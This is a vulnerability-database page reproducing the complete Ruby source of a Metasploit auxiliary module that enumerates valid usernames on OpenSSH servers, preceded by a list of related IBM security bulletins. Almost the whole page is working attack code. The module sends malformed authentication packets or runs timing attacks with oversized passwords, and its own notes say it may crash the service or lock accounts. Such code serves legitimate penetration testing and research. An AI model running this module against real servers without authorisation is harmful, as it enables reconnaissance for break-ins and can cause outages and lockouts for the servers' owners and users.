Lucene search
K

SSH Username Enumeration

🗓️ 01 Sep 2024 00:00:00Reported by Michal Sajdak, wvu, Qualys, Dariusz Tytko, kenkeiras, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 970 Views

This module uses a packet or timing attack to enumerate users on an OpenSSH server by sending a malformed SSH_MSG_USERAUTH_REQUEST packet or creating an opportunity for a timing attack to enumerate users

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: IBM Security Network Protection is affected by vulnerabilities in OpenSSH (CVE-2016-6210 CVE-2016-6515 CVE-2016-10009 CVE-2016-10011)
16 Jun 201822:03
ibm
IBM Security Bulletins
Security Bulletin: IBM Security Identity Manager Virtual Appliance is affected by multiple vulnerabilities (CVE-2019-4674, CVE-2018-15473, CVE-2019-4675)
3 Feb 202018:50
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in OpenSSH affects IBM Flex System FC5022 16Gb SAN Scalable Switch (CVE-2016-6210)
31 Jan 201902:25
ibm
IBM Security Bulletins
IBM Security Network Protection / IBM QRadar Network Security / XGS Technote Index
31 Jan 202100:10
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in OpenSSH affects IBM Integrated Analytics System
6 May 202011:00
ibm
IBM Security Bulletins
Security Bulletin: IBM Integrated Management Module II (IMM2) is affected by vulnerabilities in OpenSSH
7 Dec 202322:45
ibm
IBM Security Bulletins
Security Bulletin: Multiple Security Vulnerabilities have been addressed in IBM Security Access Manager Appliance
30 Sep 201921:15
ibm
IBM Security Bulletins
Security Bulletin: IBM MQ Appliance is affected by an OpenSSH vulnerability (CVE-2018-15473)
27 Jan 202010:35
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in openssh affect IBM Flex System Manager (FSM)
18 Jun 201801:39
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in OpenSSH affects Power Hardware Management Console
23 Sep 202101:45
ibm
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SSH  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SSH Username Enumeration',  
'Description' => %q{  
This module uses a malformed packet or timing attack to enumerate users on  
an OpenSSH server.  
  
The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUEST  
packet using public key authentication (must be enabled) to enumerate users.  
  
On some versions of OpenSSH under some configurations, OpenSSH will return a  
"permission denied" error for an invalid user faster than for a valid user,  
creating an opportunity for a timing attack to enumerate users.  
  
Testing note: invalid users were logged, while valid users were not. YMMV.  
},  
'Author' => [  
'kenkeiras', # Timing attack  
'Dariusz Tytko', # Malformed packet  
'Michal Sajdak', # Malformed packet  
'Qualys', # Malformed packet  
'wvu' # Malformed packet  
],  
'References' => [  
['CVE', '2003-0190'],  
['CVE', '2006-5229'],  
['CVE', '2016-6210'],  
['CVE', '2018-15473'],  
['OSVDB', '32721'],  
['BID', '20418'],  
['URL', 'https://seclists.org/oss-sec/2018/q3/124'],  
['URL', 'https://sekurak.pl/openssh-users-enumeration-cve-2018-15473/']  
],  
'License' => MSF_LICENSE,  
'Actions' => [  
[  
'Malformed Packet',  
{  
'Description' => 'Use a malformed packet',  
'Type' => :malformed_packet  
}  
],  
[  
'Timing Attack',  
{  
'Description' => 'Use a timing attack',  
'Type' => :timing_attack  
}  
]  
],  
'DefaultAction' => 'Malformed Packet',  
'Notes' => {  
'Stability' => [  
CRASH_SERVICE_DOWN # possible that a malformed packet may crash the service  
],  
'Reliability' => [],  
'SideEffects' => [  
IOC_IN_LOGS,  
ACCOUNT_LOCKOUTS, # timing attack submits a password  
]  
}  
)  
)  
  
register_options(  
[  
Opt::Proxies,  
Opt::RPORT(22),  
OptString.new('USERNAME',  
[false, 'Single username to test (username spray)']),  
OptPath.new('USER_FILE',  
[false, 'File containing usernames, one per line']),  
OptBool.new('DB_ALL_USERS',  
[false, 'Add all users in the current database to the list', false]),  
OptInt.new('THRESHOLD',  
[  
true,  
'Amount of seconds needed before a user is considered ' \  
'found (timing attack only)', 10  
]),  
OptBool.new('CHECK_FALSE',  
[false, 'Check for false positives (random username)', true])  
]  
)  
  
register_advanced_options(  
[  
OptInt.new('RETRY_NUM',  
[  
true, 'The number of attempts to connect to a SSH server' \  
' for each user', 3  
]),  
OptInt.new('SSH_TIMEOUT',  
[  
false, 'Specify the maximum time to negotiate a SSH session',  
10  
]),  
OptBool.new('SSH_DEBUG',  
[  
false, 'Enable SSH debugging output (Extreme verbosity!)',  
false  
])  
]  
)  
end  
  
def rport  
datastore['RPORT']  
end  
  
def retry_num  
datastore['RETRY_NUM']  
end  
  
def threshold  
datastore['THRESHOLD']  
end  
  
# Returns true if a nonsense username appears active.  
def check_false_positive(ip)  
user = Rex::Text.rand_text_alphanumeric(8..32)  
attempt_user(user, ip) == :success  
end  
  
def check_user(ip, user, port)  
technique = action['Type']  
  
opts = ssh_client_defaults.merge({  
port: port  
})  
  
# The auth method is converted into a class name for instantiation,  
# so malformed-packet here becomes MalformedPacket from the mixin  
case technique  
when :malformed_packet  
opts.merge!(auth_methods: ['malformed-packet'])  
when :timing_attack  
opts.merge!(  
auth_methods: ['password', 'keyboard-interactive'],  
password: rand_pass  
)  
end  
  
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']  
  
start_time = Time.new  
  
begin  
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do  
Net::SSH.start(ip, user, opts)  
end  
rescue Rex::ConnectionError  
return :connection_error  
rescue Timeout::Error  
return :success if technique == :timing_attack  
rescue Net::SSH::AuthenticationFailed  
return :fail if technique == :malformed_packet  
rescue Net::SSH::Exception => e  
vprint_error("#{e.class}: #{e.message}")  
end  
  
finish_time = Time.new  
  
case technique  
when :malformed_packet  
return :success if ssh  
when :timing_attack  
return :success if (finish_time - start_time > threshold)  
end  
  
:fail  
end  
  
def rand_pass  
Rex::Text.rand_text_english(64_000..65_000)  
end  
  
def do_report(ip, user, _port)  
service_data = {  
address: ip,  
port: rport,  
service_name: 'ssh',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: user  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
# Because this isn't using the AuthBrute mixin, we don't have the  
# usual peer method  
def peer(rhost = nil)  
"#{rhost}:#{rport} - SSH -"  
end  
  
def user_list  
users = []  
  
users << datastore['USERNAME'] unless datastore['USERNAME'].blank?  
  
if datastore['USER_FILE']  
fail_with(Failure::BadConfig, 'The USER_FILE is not readable') unless File.readable?(datastore['USER_FILE'])  
users += File.read(datastore['USER_FILE']).split  
end  
  
if datastore['DB_ALL_USERS']  
if framework.db.active  
framework.db.creds(workspace: myworkspace.name).each do |o|  
users << o.public.username if o.public  
end  
else  
print_warning('No active DB -- The following option will be ignored: DB_ALL_USERS')  
end  
end  
  
users.uniq  
end  
  
def attempt_user(user, ip)  
attempt_num = 0  
ret = nil  
  
while (attempt_num <= retry_num) && (ret.nil? || (ret == :connection_error))  
if attempt_num > 0  
Rex.sleep(2**attempt_num)  
vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")  
end  
  
ret = check_user(ip, user, rport)  
attempt_num += 1  
end  
  
ret  
end  
  
def show_result(attempt_result, user, ip)  
case attempt_result  
when :success  
print_good("#{peer(ip)} User '#{user}' found")  
do_report(ip, user, rport)  
when :connection_error  
vprint_error("#{peer(ip)} User '#{user}' could not connect")  
when :fail  
vprint_error("#{peer(ip)} User '#{user}' not found")  
end  
end  
  
def run  
if user_list.empty?  
fail_with(Failure::BadConfig, 'Please populate DB_ALL_USERS, USER_FILE, USERNAME')  
end  
  
super  
end  
  
def run_host(ip)  
print_status("#{peer(ip)} Using #{action.name.downcase} technique")  
  
if datastore['CHECK_FALSE']  
print_status("#{peer(ip)} Checking for false positives")  
if check_false_positive(ip)  
print_error("#{peer(ip)} throws false positive results. Aborting.")  
return  
end  
end  
  
users = user_list  
  
print_status("#{peer(ip)} Starting scan")  
users.each { |user| show_result(attempt_user(user, ip), user, ip) }  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation